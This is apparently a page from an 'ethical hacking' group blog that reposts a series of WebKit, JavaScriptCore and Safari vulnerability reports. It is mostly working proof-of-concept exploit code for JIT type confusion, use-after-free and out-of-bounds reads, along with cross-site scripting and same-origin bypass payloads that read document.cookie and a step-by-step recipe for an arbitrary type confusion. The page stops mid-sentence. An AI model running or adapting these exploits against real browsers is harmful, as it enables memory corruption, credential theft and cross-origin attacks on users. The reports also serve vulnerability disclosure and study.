<!--
void AbstractValue::set(Graph& graph, RegisteredStructure structure)
{
RELEASE_ASSERT(structure);
m_structure = structure;
m_arrayModes = asArrayModes(structure->indexingType());
m_type = speculationFromStructure(structure.get());
m_value = JSValue();
checkConsistency();
assertIsRegistered(graph);
}
It works out m_arrayModes using structure->indexingType() instead of structure->indexingMode(). As structure->indexingType() masks out the CopyOnWrite flag, which indicates that the butterfly of the array is immutable, needing copy-on-write, the wrong information about the array can be propagated. As a result, it's able to write into the immutable butterfly (JSImmutableButterfly) of a CoW array. And this can lead to UaF as
writing into an immutable butterfly can be used to bypass write barriers.
I also noticed that the most calls to asArrayModes are using structure->indexingType(). I think that those should be fixed too.
PoC:
-->
// ./jsc --useConcurrentJIT=false ~/test.js
function set(arr, value) {
arr[0] = value;
}
function getImmutableArrayOrSet(get, value) {
let arr = [1];
if (get)
return arr;
set(arr, value); // This inlinee is for having checkArray not take the paths using the structure comparison.
set({}, 1);
}
function main() {
getImmutableArrayOrSet(true);
for (let i = 0; i < 100; i++) {
getImmutableArrayOrSet(false, {});
}
let arr = getImmutableArrayOrSet(true);
print(arr[0] === 1);
}
main();
PoC 2 (UaF):
<script>
function sleep(ms) {
let s = new Date();
while (new Date() - s < ms) {
}
}
function mark() {
for (let i = 0; i < 40; i++) {
new ArrayBuffer(1024 * 1024 * 1);
}
}
function set(arr, value) {
arr[0] = value;
}
function getImmutableArrayOrSet(get, value) {
let arr = [1];
if (get)
return arr;
set(arr, value);
set({}, 1);
}
function main() {
getImmutableArrayOrSet(true);
for (let i = 0; i < 10000; i++)
getImmutableArrayOrSet(false, {});
sleep(500);
let arr = getImmutableArrayOrSet(true);
mark();
getImmutableArrayOrSet(false, []);
mark();
setTimeout(() => {
try {
alert(arr[0]);
} catch (e) {
alert(e);
}
}, 200);
}
main();
</script>
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863153234
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
<!--
Bug:
void JSObject::setPrototypeDirect(VM& vm, JSValue prototype)
{
ASSERT(prototype);
if (prototype.isObject())
prototype.asCell()->didBecomePrototype();
if (structure(vm)->hasMonoProto()) {
DeferredStructureTransitionWatchpointFire deferred(vm, structure(vm));
Structure* newStructure = Structure::changePrototypeTransition(vm, structure(vm), prototype, deferred);
setStructure(vm, newStructure);
} else
putDirect(vm, knownPolyProtoOffset, prototype);
if (!anyObjectInChainMayInterceptIndexedAccesses(vm))
return;
if (mayBePrototype()) {
structure(vm)->globalObject()->haveABadTime(vm);
return;
}
if (!hasIndexedProperties(indexingType()))
return;
if (shouldUseSlowPut(indexingType()))
return;
switchToSlowPutArrayStorage(vm);
}
JavaScriptCore doesn't allow native arrays to have Proxy objects as prototypes. If we try to set the prototype of an array to a Proxy object, it will end up calling either switchToSlowPutArrayStorage or haveABadTime in the above method. switchToSlowPutArrayStorage will transition the array to a SlowPutArrayStorage array. And haveABadTime will call switchToSlowPutArrayStorage on every object in the VM on a first call. Since subsequent calls to haveABadTime won't have any effect, with two global objects we can create an array having a Proxy object in the prototype chain.
Exploit:
case HasIndexedProperty: {
ArrayMode mode = node->arrayMode();
switch (mode.type()) {
case Array::Int32:
case Array::Double:
case Array::Contiguous:
case Array::ArrayStorage: {
break;
}
default: {
clobberWorld();
break;
}
}
setNonCellTypeForNode(node, SpecBoolean);
break;
}
From: https://github.com/WebKit/webkit/blob/9ca43a5d4bd8ff63ee7293cac8748d564bd7fbbd/Source/JavaScriptCore/dfg/DFGAbstractInterpreterInlines.h#L3481
The above routine is based on the assumption that if the input array is a native array, it can't intercept indexed accesses therefore it will have no side effects. But actually we can create such arrays which break that assumption making it exploitable.
PoC:
-->
<body>
<script>
function opt(arr, arr2) {
arr[1] = 1.1;
let tmp = 0 in arr2;
arr[0] = 2.3023e-320;
return tmp;
}
function main() {
let o = document.body.appendChild(document.createElement('iframe')).contentWindow;
// haveABadTime
o.eval(`
let p = new Proxy({}, {});
let a = {__proto__: {}};
a.__proto__.__proto__ = p;
`);
let arr = [1.1, 2.2];
let arr2 = [1.1, 2.2];
let proto = new o.Object();
let handler = {};
arr2.__proto__ = proto;
proto.__proto__ = new Proxy({}, {
has() {
arr[0] = {};
return true;
}
});
for (let i = 0; i < 10000; i++) {
opt(arr, arr2);
}
setTimeout(() => {
delete arr2[0];
opt(arr, arr2);
alert(arr[0]);
}, 500);
}
main();
</script>
</body>
/*
case ArrayPushIntrinsic: {
...
if (static_cast<unsigned>(argumentCountIncludingThis) >= MIN_SPARSE_ARRAY_INDEX)
return false;
ArrayMode arrayMode = getArrayMode(m_currentInstruction[OPCODE_LENGTH(op_call) - 2].u.arrayProfile, Array::Write);
...
}
This code always assumes that the current instruction is an op_call instruction. But that code can be reached from op_get_by_id or op_get_by_val instructions using getters. As an op_get_by_val instruction is smaller than an op_call instruction in size, this also can lead to an OOB read.
Note that the handlers for ArraySliceIntrinsic, ArrayIndexOfIntrinsic and ArrayPopIntrinsic have the same pattern.
PoC:
*/
Array.prototype.__defineGetter__('a', Array.prototype.push);
function opt() {
let arr = new Array(1, 2, 3, 4);
arr['a' + ''];
}
for (let i = 0; i < 1000; i++) {
opt();
}
/*
While fuzzing JavaScriptCore, I encountered the following JavaScript program which crashes jsc in current HEAD and release (/System/Library/Frameworks/JavaScriptCore.framework/Resources/jsc on macOS):
*/
// Run with --thresholdForFTLOptimizeAfterWarmUp=1000
// First array probably required to avoid COW backing storage or so...
const v3 = [1337,1337,1337,1337];
const v6 = [1337,1337];
function v7(v8) {
for (let v9 in v8) {
v8.a = 42;
const v10 = v8[-698666199];
}
}
while (true) {
const v14 = v7(v6);
const v15 = v7(1337);
}
/*
Note that the sample requires the FTL JIT threshold to be lowered in order to trigger. However, I also have a slightly modified version that (less reliably) crashes with the default threshold which I can share if that is helpful.
Following is my preliminary analysis of the crash.
During JIT compilation in the FTL tier, the JIT IR for v7 will have the following properties:
* A Structure check will be inserted for v8 due to the property access. The check will ensure that the array is of the correct type at runtime (ArrayWithInt32, with a property 'a')
* The loop header fetches the array length for the enumeration
* The element access into v8 is (incorrectly?) speculated to be InBounds, presumably because negative numbers are not actually valid array indices but instead regular property names
* As a result, the element access will be optimized into a CheckBounds node followed by a GetByVal node (both inside the loop body)
* The CheckBounds node compares the constant index against the array length which was loaded in the loop header
The IR for the function will thus look roughly as follows:
# Loop header
len = LoadArrayLength v8
// Do other loop header stuff
# Loop body
CheckStructure v8, expected_structure_id
StoreProperty v8, 'a', 42
CheckBounds -698666199, len // Bails out if index is OOB (always in this case...)
GetByVal v8, -698666199 // Loads the element from the backing storage without performing additional checks
// Jump back to beginning of loop
Here is what appears to be happening next during loop-invariant code motion (LICM), an optimization designed to move code inside a loop body in front of the loop if it doesn't need to be executed multiple times:
1. LICM determines that the CheckStructure node can be hoisted in front of the loop header and does so
2. LICM determines that the CheckBounds node can *not* be hoisted in front of the loop header as it depends on the array length which is only loaded in the loop header
3. LICM determines that the array access (GetByVal) can be hoisted in front of the loop (as it does not depend on any loop variables) and does so
As a result of the above, the IR is transformed roughly to the following:
StructureCheck v8, expected_structure_id
GetByVal v8, -698666199
# Loop header
len = LoadArrayLength v8
// Do other loop header stuff
# Loop body
StoreProperty v8, 'a', 42
CheckBounds -698666199, len
// Jump back to beginning of loop
As such, the (unchecked) array element access is now located before the loop header with the bounds check only happening afterwards inside the loop body. The provided PoC then crashes while accessing memory 698666199 * 8 bytes before the element vector for v6. It should be possible to turn this bug into arbitrary out-of-bounds access, but I haven't tried that.
Hoisting of GetByVal will only happen if safeToExecute (from DFGSafeToExecute.h) returns true. This function appears to only be concerned about type checks, so in this case it concludes that the GetByVal can be moved in front of the loop header as the StructureCheck (performing the type check) is also moved there. This seems to be the reason that the property store (v8.a = 42) is required as it forces a CheckStructure node which would otherwise be missing.
The invocations of v7 with a non-array argument (1337 in this case) seem to be necessary to not trigger a bailout in earlier JIT tiers too often, which would prevent the FTL JIT from ever compiling the function.
*/
/*
While fuzzing JavaScriptCore, I encountered the following (simplified and commented) JavaScript program which crashes jsc from current HEAD and release:
*/
function v9() {
// Some watchpoint (on the LexicalEnvironment) is triggered here
// during the 2nd invocation which jettisons the CodeBlock for v9.
// Trigger GC here (in the 2nd invocation) and free the jettisoned CodeBlock.
const v18 = [13.37,13.37,13.37,13.37];
for (const v43 in v18) {
const v47 = new Float64Array(65493);
}
// Trigger some other watchpoint here, jettisoning the same CodeBlock
// again and thus crashing when touching the already freed memory.
const v66 = RegExp();
// Seems to be required to get the desired compilation
// behaviour in DFG (OSR enter in a loop)...
for (let v69 = 0; v69 < 10000; v69++) {
function v70() {
const v73 = v66.test("asdf");
}
v70();
}
// Inserts elements into the Array prototype so the
// first loop runs longer in the second invocation.
for (let v114 = 13.37; v114 < 10000; v114++) {
const v127 = [].__proto__;
v127[v114] = 1337;
}
}
const v182 = /i/g;
const v183 = "ii";
v183.replace(v182,v9);
// (Jettisoning is the process of discarding a unit of JIT compiled code
// because it is no longer needed or is now unsafe to execute).
/*
When running in a debug build, it produces a crash similar to the following:
* thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0xbadce8c0)
frame #0: 0x000000010066e091 JavaScriptCore`void JSC::VM::logEvent<...>(...) [inlined] std::__1::unique_ptr<...>::operator bool(this=0x00000000badce8c0) const at memory:2583
(lldb) up 2
frame #2: 0x000000010066d92e JavaScriptCore`JSC::CodeBlock::jettison(this=0x0000000109388b80, reason=JettisonDueToUnprofiledWatchpoint, mode=CountReoptimization, detail=0x00007ffeefbfc708) at CodeBlock.cpp:1957
(lldb) x/4gx this
0x109388b80: 0x0000000000000000 0x00000000badbeef0
0x109388b90: 0x00000000badbeef0 0x00000000badbeef0
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0xbadce8c0)
frame #0: 0x000000010066e091 JavaScriptCore`void JSC::VM::logEvent<...>(...) [inlined] std::__1::unique_ptr<...>::operator bool(this=0x00000000badce8c0) const at memory:2583
frame #1: 0x000000010066e091 JavaScriptCore`void JSC::VM::logEvent<...>(this=0x00000000badbeef0, codeBlock=0x0000000109388b80, summary="jettison", func=0x00007ffeefbfc570)::$_10 const&) at VMInlines.h:59
* frame #2: 0x000000010066d92e JavaScriptCore`JSC::CodeBlock::jettison(this=0x0000000109388b80, reason=JettisonDueToUnprofiledWatchpoint, mode=CountReoptimization, detail=0x00007ffeefbfc708) at CodeBlock.cpp:1957
frame #3: 0x0000000100674a86 JavaScriptCore`JSC::CodeBlockJettisoningWatchpoint::fireInternal(this=0x0000000106541c08, (null)=0x0000000106600000, detail=0x00007ffeefbfc708) at CodeBlockJettisoningWatchpoint.cpp:40
frame #4: 0x000000010072a86c JavaScriptCore`JSC::Watchpoint::fire(this=0x0000000106541c08, vm=0x0000000106600000, detail=0x00007ffeefbfc708) at Watchpoint.cpp:55
frame #5: 0x000000010072b014 JavaScriptCore`JSC::WatchpointSet::fireAllWatchpoints(this=0x00000001065bf6e0, vm=0x0000000106600000, detail=0x00007ffeefbfc708) at Watchpoint.cpp:140
frame #6: 0x000000010072add6 JavaScriptCore`JSC::WatchpointSet::fireAllSlow(this=0x00000001065bf6e0, vm=0x0000000106600000, detail=0x00007ffeefbfc708) at Watchpoint.cpp:91
frame #7: 0x000000010067f790 JavaScriptCore`void JSC::WatchpointSet::fireAll<JSC::FireDetail const>(this=0x00000001065bf6e0, vm=0x0000000106600000, fireDetails=0x00007ffeefbfc708) at Watchpoint.h:190
frame #8: 0x000000010072a3bc JavaScriptCore`JSC::WatchpointSet::touch(this=0x00000001065bf6e0, vm=0x0000000106600000, detail=0x00007ffeefbfc708) at Watchpoint.h:198
frame #9: 0x0000000100b0a41b JavaScriptCore`JSC::WatchpointSet::touch(this=0x00000001065bf6e0, vm=0x0000000106600000, reason="Executed NotifyWrite") at Watchpoint.h:203
frame #10: 0x0000000100b0a3c2 JavaScriptCore`::operationNotifyWrite(exec=0x00007ffeefbfc830, set=0x00000001065bf6e0) at DFGOperations.cpp:2457
As can be seen, the CodeBlock object has been freed by the GC and, since this is a debug build, overwritten with a poison value (0xbadbeef0).
It appears that what is happening here is roughly the following:
* The function v9 is called multiple times as callback during the string.replace operation
* During the first invocation, the function v9 is JIT compiled at one of the inner loops and execution switches to the JIT code
* The JIT compiled code has various dependencies on the outside environment in the form of Watchpoints
* During the 2nd invocation, the LexicalEnvironment of v9 is recreated, triggering a Watchpoint (presumably because the function was originally compiled at one of the inner loops) and jettisoning the associated CodeBlock
* At that point, there are no more references to the CodeBlock, and the following GC frees the object
* Still during the 2nd invocation, after GC, another Watchpoint of the previous JIT code fires, again trying to jettison the CodeBlock that has already been freed
The freeing of the CodeBlock by the GC is possible because the Watchpoint itself only has a raw pointer to the CodeBlock and not any kind of GC reference that would keep it alive (or be set to nullptr):
class CodeBlockJettisoningWatchpoint : public Watchpoint {
public:
CodeBlockJettisoningWatchpoint(CodeBlock* codeBlock)
: m_codeBlock(codeBlock)
{
}
protected:
void fireInternal(VM&, const FireDetail&) override;
private:
CodeBlock* m_codeBlock;
};
It appears that this scenario normally does not happen because the CodeBlock unlinks and frees its associated Watchpoints when it is destroyed.
However, the reference chain is CodeBlock ---(RefPtr)---> JITCode ---(owning reference)---> Watchpoints, and in this case the JITCode is being kept alive at the entrypoint (CachedCall::call) for the duration of callback, thus keeping the Watchpoints alive as well even though the CodeBlock has already been freed.
*/
/*
Prerequisites
-------------
In JavaScriptCore, JSObjects have an associated Structure: an object describing various aspects of the JSObject such as its type, its properties, and the type of elements being stored (e.g. unboxed double or JSValues). Whenever a property is added to an object (or some other aspect of it is changed), a new structure is allocated which now also contains the new property. This "structure transition" is then cached so that the same structure can be reused for similar transitions in the future.
Arrays in JavaScriptCore can have different indexing modes: the contiguous modes (ArrayWithInt32, ArrayWithDouble, ArrayWithContiguous), and modes used for sparse arrays (ArrayWitArrayStorage, ArrayWithSlowPutArrayStorage). JavaScriptCore has a notion of "having a bad time" (JSGlobalObject::haveABadTime). This is the case when an object in the array prototype chain has indexed accessors. In that case, the indexing mode of all arrays is switched to ArrayWithSlowPutStorage, which indicates that element stores to holes have to consult the prototype chain. The engine will "have a bad time" as soon as an object in the default prototype chain of Arrays has an indexed accessor.
JavaScriptCore can track types of properties using the inferred type mechanism. Essentially, the first time a property is created, an inferred type for the property is installed and linked to the structure. The inferred type is based on the initial value of the property. For example: setting a property .x for the first time with a value of 42 would initialize the inferred type for .x to be "Int32". If the same property (on any Object referencing it) is assigned a new value, the inferred type for that property is "widened" to include all previous types and the new type. For example: if later on a double value is stored in property .x, the new inferred type for that property would be "Number". See InferredType::Descriptor::merge for the exact rules. Besides primitive types and "Object", inferred types can also be "ObjectWithStructure", in which case the property is known to be an object with a specific structure. The DFG and FTL JIT compilers make use of inferred types to omit type checks. Consider the following code:
function foo(o) {
return o.a.b;
}
Assuming that the inferred type for the .a property is ObjectWithStructure, then the compiler is able to use the inferred type to omit the StructureCheck for o.a and will thus only emit a single StructureCheck for o.
Vulnerability Details
---------------------
The inferred type mechanism is secured via watchpoints: whenever a piece of JIT code relies on inferred types, it installs a callback (called Watchpoint) on the inferred type to trigger whenever it is widened. In that case the JIT code is discarded as it is no longer safe to execute. Code that updates a property value is then required to check whether the inferred type is still consistent with the new value and if not widen it and trigger Watchpoints. This is done e.g. in Structure::willStoreValueForExistingTransition. As such, every "direct" property store, one that does not update inferred types, could now be a security bug as it could violate inferred types. JSObject::putDirect is such an example:
void putDirect(VM& vm, PropertyOffset offset, JSValue value) { locationForOffset(offset)->set(vm, this, value); }
The function directly stores the provided value to the given property slot without accounting for inferred types, which the caller is supposed to do. Looking for cross references to said function leads to createRegExpMatchesArray (used e.g. for %String.prototype.match) which in essence does:
let array = newArrayWithStructure(regExpMatchesArrayWithGroupsStructure);
array->putDirect(vm, RegExpMatchesArrayIndexPropertyOffset, index)
array->putDirect(vm, RegExpMatchesArrayInputPropertyOffset, input)
array->putDirect(vm, RegExpMatchesArrayGroupsPropertyOffset, groups)
As such, if it was possible to get the engine to set an inferred type for one of the three properties of the regExpMatchesArrayWithGroupsStructure structure, one could then invalidate the inferred type through %String.prototype.match without firing watchpoints. The regExpMatchesArrayWithGroupsStructure is created during initialization of the engine by following this pseudo code:
let structure = arrayStructureForIndexingTypeDuringAllocation(ArrayWithContiguous);
structure = Structure::addPropertyTransition(vm, structure, "index");
structure = Structure::addPropertyTransition(vm, structure, "input");
regExpMatchesArrayWithGroupsStructure = Structure::addPropertyTransition(vm, structure, "groups");
It is thus possible to manually construct an object having the regExpMatchesArrayWithGroupsStructure as structure like this:
var a = ["a", "b", "c"]; // ArrayWithContiguous
a.index = 42;
a.input = "foo";
a.groups = null;
Unfortunately, as the regExpMatchesArrayWithGroupsStructure is created at initialization time of the engine, no inferred type will be set for any of the properties as no property value is available for the initial structure transition.
However, regExpMatchesArrayWithGroupsStructure is re-created when the engine is having a bad time. In that case, all arrays will now use ArrayWithSlowPutArrayStorage mode. For that reason, a new structure for regExpMatchesArrayWithGroupsStructure is created as well which now uses ArrayWithSlowPutArrayStorage instead of ArrayWithContiguous as base structure. As such, if somehow it was possible to create the resulting regExpMatchesArrayWithGroupsStructure before the engine has a bad time, then inferred types could be installed on said structure. It is rather tricky to construct an array that has the default array prototype and uses ArrayWithSlowPutArrayStorage mode, as that mode is only used when a prototype has indexed accessors. However, it is possible using the following code:
// Create a plain array with indexing type SlowPutArrayStorage. This is equivalent to
// `arrayStructureForIndexingTypeDuringAllocation(ArrayWithSlowPutArrayStorage)` in C++.
function createArrayWithSlowPutArrayStorage() {
let protoWithIndexedAccessors = {};
Object.defineProperty(protoWithIndexedAccessors, 1337, { get() { return 1337; } });
// Compile a function that will end up creating an array with SlowPutArrayStorage.
function helper(i) {
// After JIT compilation, this new Array call will construct a normal array (with the
// original Array prototype) with SlowPutArrayStorage due to profiling information from
// previous executions (which all ended up transitioning to SlowPutArrayStorage).
let a = new Array;
if (i > 0) {
// Convert the array to SlowPutArrayStorage by installing a prototype with indexed
// accessors. We can't directly use this object though as the prototype is different and
// thus the structure has changed.
Object.setPrototypeOf(a, protoWithIndexedAccessors);
}
return a;
}
for (let i = 1; i < 10000; i++) {
helper(i);
}
return helper(0);
}
Once the helper function is JIT compiled, the profile information for the "new Array" operation will indicate that the resulting array will eventually use the ArrayWithSlowPutArrayStorage indexing mode. As such, the engine decides to directly allocate the object with ArrayWithSlowPutArrayStorage during `new Array` in the JIT code. By not going into the if branch it is possible to construct an array with SlowPutArrayStorage that never changed its prototype from the original array prototype (which causes a structure transition and as such cannot be used).
From here, it is possible to create the same structure that will later become regExpMatchesArrayWithGroupsStructure after having a bad time:
let a = createArrayWithSlowPutArrayStorage();
a.index = 1337;
a.input = "foobar"
a.groups = obj;
However, this time the engine will use inferred types for all properties since this is the first time the structure is created and all properties are initialized with values. With that, it is now possible to compile a function that uses these inferred types to omit type checks, such as:
// Install a global property with inferred type of ObjectWithStructure.
global = a;
// Must assign twice, otherwise JIT assumes 'global' is a constant.
global = a;
function hax() {
return global.groups.someProperty;
}
This function will be compiled without any StructureCheck operations to perform runtime type checks as everything is based on inferred types.
Next, String.match is invoked to produce an object with the same structure but which now violates the inferred type due to createRegExpMatchesArray using putDirect for the property store. The resulting object can safely be assigned to the 'global' variable as it has the same structure as before. Afterwards, the compiled function can be invoked again to cause a type confusion when accessing .someProperty because the .groups property now has a different Structure than indicated by its inferred type.
To recap, the steps to achieve a type confusion between an object of type TX and an object of type TY, where both TX and TY can be arbitrarily chosen, are as follows:
1. Let X and Y be two objects with structures S1 and S2 respectively (corresponding to type TX and type TY).
2. Let O be an object with an out-of-line property whose value is X and inferred type thus TX. O will have structure S3.
3. Create an array with unmodified prototype chain and SlowPutArrayStorage as described above. It will have structure S4 (plain array with SlowPutStorage).
4. Add properties 'index', 'input', and 'groups' in that order to create structures S5, S6, and S7. Set the initial value of the 'groups' property to O so its inferred type will be ObjectWithStructure S3.
5. Have a bad time: install an indexed accessor on the array prototype. This will cause arrays to be converted and regExpMatchesArrayWithGroupsStructure to be recreated. However, since the structure transitions already exist, regExpMatchesArrayWithGroupsStructure will become structure S7. The inferred types for S7 will not change since no property values are assigned.
6. JIT compile a function that relies on the inferred type of the .groups property of structure S7 which is ObjectWithStructure S3.
7. Call String.prototype.match to create an object M with structure S8, which, however, violates the inferred types as createRegExpMatchesArray uses putDirect.
8. Set the first out-of-line property of M.groups to Y.
9. Call the JIT compiled function with M. As M has structure S7, the code will not bail out, then access the first out-of-line property of M.groups believing it to be type TX while it really is type TY now.
The attached PoC uses this to confuse an object with a double inline property with an object with a pointer inline property.
*/
// /System/Library/Frameworks/JavaScriptCore.framework/Resources/jsc poc.js
// The PoC will confuse objX with objY.
// objX will have structure S1, objY structure S2.
let objX = {objProperty: {fetchme: 1234}};
let objY = {doubleProperty: 2130562.5098039214}; // 0x4141414141414141 in memory
// Create a plain array with indexing type SlowPutArrayStorage. This is equivalent to
// `arrayStructureForIndexingTypeDuringAllocation(ArrayWithSlowPutArrayStorage)` in C++.
function createArrayWithSlowPutArrayStorage() {
let protoWithIndexedAccessors = {};
Object.defineProperty(protoWithIndexedAccessors, 1337, { get() { return 1337; } });
// Compile a function that will end up creating an array with SlowPutArrayStorage.
function helper(i) {
// After JIT compilation, this new Array call will construct a normal array (with the
// original Array prototype) with SlowPutArrayStorage due to profiling information from
// previous executions (which all ended up transitioning to SlowPutArrayStorage).
let a = new Array;
if (i > 0) {
// Convert the array to SlowPutArrayStorage by installing a prototype with indexed
// accessors. This object can, however, not be used directly as the prototype is
// different and thus the structure has changed.
Object.setPrototypeOf(a, protoWithIndexedAccessors);
}
return a;
}
for (let i = 1; i < 10000; i++) {
helper(i);
}
return helper(0);
}
// Helper object using inferred types.
let obj = {};
obj.inlineProperty1 = 1337;
obj.inlineProperty2 = 1338;
obj.oolProperty1 = objX; // Inferred type of 'oolProperty1' will be ObjectWithStructure S1.
// 'obj' now has structure S3.
// Create the same structure (S4) that will later (when having a bad time) be used as
// regExpMatchesArrayWithGroupsStructure. Since property values are assigned during the initial
// structure transition, inferred types for all property values are created.
let a = createArrayWithSlowPutArrayStorage(); // a has Structure S4,
a.index = 42; // S5,
a.input = "foobar"; // S6,
a.groups = obj; // and S7.
// The inferred type for the .groups property will be ObjectWithStructure S3.
// Inferred type for this property will be ObjectWithStructure S7.
global = a;
// Must assign twice so the JIT uses the inferred type instead of assuming that
// the property is constant and installing a replacement watchpoint to
// deoptimize whenever the property is replaced.
global = a;
// Have a bad time. This will attempt to recreate the global regExpMatchesArrayWithGroupsStructure
// (to use an array with SlowPutArrayStorage), but since the same structure transitions were
// performed before, it will actually reuse the existing structure S7. As no property values are
// assigned, all inferred types for structure S7 will still be valid.
Object.defineProperty(Array.prototype, 1337, { get() { return 1337; } });
// Compile a function that uses the inferred value of 'global' to omit type checks.
function hax() {
return global.groups.oolProperty1.objProperty.fetchme;
}
for (let i = 0; i < 10000; i++) {
hax(i);
}
// Create an ObjectWithStructure S7 which violates the inferred type of .groups (and potentially
// other properties) due to createRegExpMatchesArray using putDirect.
let match = "hax".match(/(?<oolProperty1>hax)/);
// match.groups has structure S8 and so assignments to it won't invalidate inferred types of S7.
match.groups.oolProperty1 = objY; // This property overlaps with oolProperty1 of structure S3.
// The inferred type for 'global' is ObjectWithStructure S4 so watchpoints will not be fired.
global = match;
// Trigger the type confusion.
hax();
source: https://www.securityfocus.com/bid/56570/info
WebKit is prone to a security-bypass vulnerability.
An attacker can exploit this vulnerability to bypass the cross-site scripting filter mechanism. Successful exploits may allow attackers to execute arbitrary script code and steal cookie-based authentication credentials.
Code in test.jsp:
<title>Test Page</title>
<script>
var foo = "<%= request.getParameter("foo") %>";
document.write("<text>Welcome "+ foo + "</text>");
</script>
Example URI:
http://www.domain.com/test.jsp?foo=2"; alert(document.cookie); var a="1
source: https://www.securityfocus.com/bid/46816/info
WebKit is prone to a cross-domain scripting vulnerability because it fails to properly enforce the same-origin policy.
Successfully exploiting this issue will allow attackers to send the content of arbitrary files from the user's system to a remote server controlled by them. This results in disclosure of potentially sensitive information which may aid in further attacks.
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/35434.zip
<!--
# CVE-2017-7089
**Impact**: Processing maliciously crafted web content may lead to universal cross site scripting
**Description**: A logic issue existed in the handling of the parent-tab. This issue was addressed with improved state management.
#### Safari 10
##### Local SOP bypass
```html
<script> function Pew(){var doc=open('parent-tab://apple.com');doc.document.body.innerHTML='<img src=q onerror=alert(document.cookie)>';}</script><button onclick=Pew();>Click me!</button>
```
##### Exploit by Frans Rosén
```html
data:text/html,<script>function y(){x=open('parent-tab://google.com','_top'),x.document.body.innerHTML='<img/src=""onerror="alert(document.cookie)">'};setTimeout(y,100)</script>
```
-->
<body onload=document.getElementById('pew').click()>
<a id='pew' href='data:text/html,<script>function y(){x=open('parent-tab://apple.com','_top'),x.document.body.innerHTML='<img/src=""onerror=alert(document.domain);alert(document.cookie);>'};setTimeout(y,100)</script>'>hello</a>
</body>
<?php
$filename=realpath("PoC.mht");
header( "Content-type: multipart/related");
readfile($filename);
?>
MIME-Version: 1.0
Content-Type: multipart/related;
type="text/html";
boundary="----MultipartBoundary--"
CVE-2017-5124
------MultipartBoundary--
Content-Type: application/xml;
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xml" href="#stylesheet"?>
<!DOCTYPE catalog [
<!ATTLIST xsl:stylesheet
id ID #REQUIRED>
]>
<xsl:stylesheet id="stylesheet" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="*">
<html><iframe style="display:none" src="https://google.com"></iframe></html>
</xsl:template>
</xsl:stylesheet>
------MultipartBoundary--
Content-Type: text/html
Content-Location: https://google.com
<script>alert('Location origin: '+location.origin)</script>
------MultipartBoundary----
When a WebAssembly binary is parsed in ModuleParser::parse, it is expected to contain certain sections in a certain order, but can also contain custom sections that can appear anywhere in the binary. The ordering check validateOrder() does not adequately check that sections are in the correct order when a binary contains custom sections.
static inline bool validateOrder(Section previous, Section next)
{
if (previous == Section::Custom)
return true;
return static_cast<uint8_t>(previous) < static_cast<uint8_t>(next);
}
If the previous section was a custom section, the check always returns true, even if the section is otherwise out of order. This means any number of sections can be parsed from a binary, any number of times in any order. This leads to a number of possible overflows and type confusion bugs, as parsing assumes most sections are unique and in the right order.
The attached html file causes a crash in Safari, the wasm file is attached as well. This particular use of the bug causes an overflow in the function vector.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44427.zip
<!--
There is an out-of-bounds read when compiling WebAssembly source buffers in WebKit. When a source buffer is compiled, it is first copied into a read-only buffer by the functuion getWasmBufferFromValue. This function returns the code buffer as follows:
return arrayBufferView ? static_cast<uint8_t*>(arrayBufferView->vector()) : static_cast<uint8_t*>(arrayBuffer->impl()->data());
If the source buffer is a view (DataView or TypedArray), arrayBufferView->vector() is returned. The vector() method returns the start of the data in the buffer, including any offset. However, the function createSourceBufferFromValue copies the output of this function as follows:
memcpy(result.data(), data + byteOffset, byteSize);
This means that if the buffer is a view, the offset is added to the buffer twice before this is copied. This could allow memory off the heap to be read out of the source buffer, either though parsing exceptions or data sections when they are copied. A minimal PoC for the issue is:
var b2 = new ArrayBuffer(1000);
var view = new Int8Array(b2, 700);
var mod = new WebAssembly.Module(a);
An HTML file the consistently crashes Safari is attached.
-->
<html><body><script>
for(var q = 0; q < 100; q++){
var i = Math.random();
i = Math.round(i*0x20000000);
i = Math.abs(i);
var b2 = new Uint8Array( i);
console.log("i" + i);
var j = Math.random();
j = j*i;
j = Math.round(j);
j = Math.abs(j);
console.log("j"+j)
var view2 = new DataView(b2.buffer,j);
try{
var mod = new WebAssembly.Module(view2);
}catch(e){
console.log(e);
}
}
</script></body></html>
VULNERABILITY DETAILS
https://trac.webkit.org/browser/webkit/trunk/Source/WebCore/xml/XSLTProcessor.cpp#L66
```
Ref<Document> XSLTProcessor::createDocumentFromSource(const String& sourceString,
const String& sourceEncoding, const String& sourceMIMEType, Node* sourceNode, Frame* frame)
{
Ref<Document> ownerDocument(sourceNode->document());
bool sourceIsDocument = (sourceNode == &ownerDocument.get());
String documentSource = sourceString;
RefPtr<Document> result;
if (sourceMIMEType == "text/plain") {
result = XMLDocument::createXHTML(frame, sourceIsDocument ? ownerDocument->url() : URL());
transformTextStringToXHTMLDocumentString(documentSource);
} else
result = DOMImplementation::createDocument(sourceMIMEType, frame, sourceIsDocument ? ownerDocument->url() : URL());
// Before parsing, we need to save & detach the old document and get the new document
// in place. We have to do this only if we're rendering the result document.
if (frame) {
[...]
frame->setDocument(result.copyRef());
}
auto decoder = TextResourceDecoder::create(sourceMIMEType);
decoder->setEncoding(sourceEncoding.isEmpty() ? UTF8Encoding() : TextEncoding(sourceEncoding), TextResourceDecoder::EncodingFromXMLHeader);
result->setDecoder(WTFMove(decoder));
result->setContent(documentSource);
```
https://trac.webkit.org/browser/webkit/trunk/Source/WebCore/page/Frame.cpp#L248
```
void Frame::setDocument(RefPtr<Document>&& newDocument)
{
ASSERT(!newDocument || newDocument->frame() == this);
if (m_documentIsBeingReplaced) // ***1***
return;
m_documentIsBeingReplaced = true;
[...]
if (m_doc && m_doc->pageCacheState() != Document::InPageCache)
m_doc->prepareForDestruction(); // ***2***
m_doc = newDocument.copyRef();
```
`setDocument` calls `Document::prepareForDestruction`, which might trigger JavaScript execution via
